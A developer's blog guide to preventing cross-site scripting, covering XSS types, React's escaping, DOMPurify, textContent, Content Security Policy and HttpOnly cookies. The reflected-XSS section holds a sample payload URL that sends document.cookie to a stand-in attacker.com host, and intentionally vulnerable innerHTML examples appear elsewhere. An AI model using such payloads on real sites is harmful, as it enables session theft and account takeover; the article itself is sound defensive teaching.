XSS Prevention: Cross-Site Scripting Still Kills and Here's What to Do About It
A developer's guide to XSS prevention — understanding reflected, stored, and DOM-based XSS, how modern frameworks protect you, and where your code is still vulnerable.

James Ross Jr.
Strategic Systems Architect & Enterprise Software Developer
XSS Prevention: Cross-Site Scripting Still Kills and Here's What to Do About It
Cross-site scripting is frequently dismissed as "just an annoyance" — attackers can deface pages or redirect users, but nothing serious. This is wrong. An XSS vulnerability that runs arbitrary JavaScript in the browser of an authenticated user can: steal session cookies and authenticate as that user, capture keystrokes including passwords typed after the exploit, exfiltrate all data the user can access, make API calls on behalf of the user (transfer money, change email/password, delete data), and silently persist through stored XSS that attacks every future user who views the page.
XSS is not an annoyance. It is a mechanism for complete account takeover.
The Three Types of XSS
Reflected XSS — malicious script is in the URL and gets embedded in the HTML response. The attack is delivered via a link. When the victim clicks the link, the script executes in their browser in the context of your application.
https://example.com/search?q=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>
If your search results page renders the query parameter directly into HTML without encoding, this script executes.
Stored XSS — malicious script is saved to the database and rendered for every user who views it. The classic example: an attacker posts a comment containing a script. Every user who reads that comment page executes the script. This is the most dangerous type because one attack affects many victims.
DOM-based XSS — the vulnerability is entirely in client-side JavaScript. The server never sees the malicious payload. JavaScript reads from a dangerous source (URL hash, localStorage, document.referrer) and writes to a dangerous sink (innerHTML, document.write, eval) without sanitization.
How React and Modern Frameworks Protect You (and Where They Do Not)
React escapes all output by default. When you render a string value in JSX, React HTML-encodes it before inserting it into the DOM. This prevents the vast majority of reflected and stored XSS from being possible in standard React usage:
// Safe — React encodes the value
function SearchResults({ query }: { query: string }) {
return <h2>Results for {query}</h2>; // Safe even if query contains HTML
}
The dangerous escape hatch is dangerouslySetInnerHTML. The name is the warning:
// Dangerous — renders raw HTML without escaping
function Comment({ content }: { content: string }) {
return <div dangerouslySetInnerHTML={{ __html: content }} />; // XSS if content is not sanitized
}
If a user submits <script>alert(document.cookie)</script> as a comment, and you render it with dangerouslySetInnerHTML, that script executes for every user who views the page.
dangerouslySetInnerHTML has legitimate uses — rendering rich text from a CMS, displaying HTML emails, embedding formatted content. The key is always sanitizing the HTML before rendering it.
Sanitizing HTML: The Correct Approach
When you must render user-supplied HTML, use a dedicated HTML sanitization library that removes dangerous elements and attributes while preserving formatting:
import DOMPurify from "dompurify";
function Comment({ content }: { content: string }) {
const sanitized = DOMPurify.sanitize(content, {
ALLOWED_TAGS: ["p", "strong", "em", "ul", "ol", "li", "a"],
ALLOWED_ATTR: ["href"],
ALLOW_DATA_ATTR: false,
});
return <div dangerouslySetInnerHTML={{ __html: sanitized }} />;
}
DOMPurify removes <script> tags, inline event handlers (onclick, onerror, etc.), javascript: URLs, and any other dangerous content while preserving your allowed tags and attributes.
Server-side sanitization before storage is also appropriate — but do not rely on it exclusively. Sanitize again at render time. Defense in depth: if something sanitized stored content fails for a specific case, render-time sanitization is the backstop.
DOM-Based XSS: The Invisible Vulnerability
DOM-based XSS does not involve the server at all, which means server-side output encoding does not protect you. The vulnerability is entirely in your JavaScript.
Common dangerous sources (attacker-controlled input):
location.href,location.search,location.hashdocument.referrerlocalStorage,sessionStoragewindow.name
Common dangerous sinks (places where data is executed or rendered):
innerHTML(setting inner HTML of an element)document.write()eval()setTimeout()/setInterval()with string argumentlocation.href =(can be used forjavascript:URLs)
// Vulnerable DOM-based XSS
const query = new URLSearchParams(window.location.search).get("q");
document.getElementById("search-term").innerHTML = query; // XSS if query contains HTML
// Safe
document.getElementById("search-term").textContent = query; // textContent never executes HTML
The fix for most DOM-based XSS is using textContent instead of innerHTML when you are inserting text. textContent always treats the value as literal text, never as HTML. Only use innerHTML when you explicitly need to insert HTML, and always sanitize first.
For URL parameters that will be used to construct links, validate and allowlist:
function getSafeRedirectUrl(url: string): string {
try {
const parsed = new URL(url, window.location.origin);
// Only allow same-origin redirects
if (parsed.origin !== window.location.origin) {
return "/"; // Default to homepage for external URLs
}
return parsed.href;
} catch {
return "/";
}
}
Content Security Policy
Content Security Policy (CSP) is a browser security mechanism that restricts which scripts, styles, and other resources can execute on your page. Even if an attacker injects a script, CSP can prevent it from executing.
A strict CSP for a React application:
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; connect-src 'self' https://api.yourdomain.com; frame-ancestors 'none';
This policy:
default-src 'self'— only load resources from the same origin by defaultscript-src 'self'— only execute scripts from the same origin (no inline scripts, no external scripts)- No
eval()or dynamic code execution (blocked by default without'unsafe-eval') frame-ancestors 'none'— page cannot be embedded in iframes
Adding CSP with script-src 'self' (no 'unsafe-inline') means even if an attacker injects a <script> tag, the browser refuses to execute it because inline scripts are not allowed.
CSP breaks applications that use inline scripts or styles. The migration path is to move all JavaScript to external files and replace inline styles with classes. For frameworks like React, this is the standard output — no inline scripts are needed.
Use CSP report mode first to identify violations without blocking:
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /api/csp-report
This sends violation reports to your endpoint without breaking anything. Review the reports to understand what would break before enabling enforcement mode.
HttpOnly Cookies: Limiting Cookie Theft
Even if XSS executes, HttpOnly cookies are not accessible to JavaScript. Set HttpOnly on your session cookies and authentication tokens stored in cookies:
res.cookie("session", sessionToken, {
httpOnly: true, // Not accessible to JavaScript
secure: true, // Only sent over HTTPS
sameSite: "strict", // Not sent on cross-site requests
maxAge: 7 * 24 * 60 * 60 * 1000, // 7 days
});
An XSS attack on a site with HttpOnly session cookies cannot steal the session token directly. The attacker can still make API calls using the browser's automatic cookie inclusion, but cannot extract the token itself to use elsewhere.
This is defense in depth — XSS is still a serious vulnerability that can cause significant harm even without cookie theft, but HttpOnly eliminates one major attack path.
The XSS Prevention Checklist
Before shipping any feature that handles user-generated content:
- React/Vue/Angular renders values escaped by default — do not bypass without sanitization
- All uses of
dangerouslySetInnerHTML/v-html/[innerHtml]sanitize input with DOMPurify - No use of
innerHTML,document.write(), oreval()with user input - URL parameters used in links are validated to reject
javascript:URLs - CSP headers configured and enforced
- Session cookies set with
HttpOnlyandSecureflags - User-generated content sanitized server-side before storage and client-side before rendering
If you want a security review focusing on XSS vulnerabilities in your frontend or want help implementing CSP for an existing application, book a session at https://calendly.com/jamesrossjr.